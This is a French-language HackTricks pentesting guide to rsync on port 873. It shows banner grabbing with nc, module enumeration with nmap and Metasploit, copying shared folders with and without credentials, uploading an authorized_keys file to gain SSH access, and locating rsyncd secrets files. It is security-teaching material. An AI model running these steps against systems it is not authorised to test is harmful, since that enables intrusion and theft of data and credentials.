873 - Pentesting Rsync
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Informations de base
De wikipedia:
rsync est un utilitaire pour transférer efficacement des fichiers et synchroniser des fichiers entre un ordinateur et un disque dur externe et à travers des ordinateurs réseau en comparant les temps de modification et les tailles des fichiers.[3] Il est couramment trouvé sur des systèmes d'exploitation de type Unix. L'algorithme rsync est un type de delta encoding, et est utilisé pour minimiser l'utilisation du réseau. Zlib peut être utilisé pour une compression de données supplémentaire,[3] et SSH ou stunnel peuvent être utilisés pour la sécurité.
Port par défaut : 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Énumération
Bannière et communication manuelle
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Énumération des Dossiers Partagés
Les modules Rsync sont reconnus comme des partages de répertoires qui peuvent être protégés par des mots de passe. Pour identifier les modules disponibles et vérifier s'ils nécessitent des mots de passe, les commandes suivantes sont utilisées :
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Soyez conscient que certaines partages pourraient ne pas apparaître dans la liste, les cachant éventuellement. De plus, l'accès à certains partages pourrait être restreint à des identifiants spécifiques, indiqué par un message "Accès Refusé".
Brute Force
Utilisation Manuelle de Rsync
Après avoir obtenu une liste de modules, les actions dépendent de la nécessité d'authentification. Sans authentification, lister et copier des fichiers d'un dossier partagé vers un répertoire local se fait par :
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Ce processus transfère des fichiers de manière récursive, préservant leurs attributs et permissions.
Avec des identifiants, l'énumération et le téléchargement depuis un dossier partagé peuvent être effectués comme suit, où une invite de mot de passe apparaîtra :
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Pour télécharger du contenu, tel qu'un fichier authorized_keys pour l'accès, utilisez :
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Pour localiser le fichier de configuration rsyncd, exécutez :
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Dans ce fichier, un paramètre secrets file pourrait pointer vers un fichier contenant noms d'utilisateur et mots de passe pour l'authentification rsyncd.
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.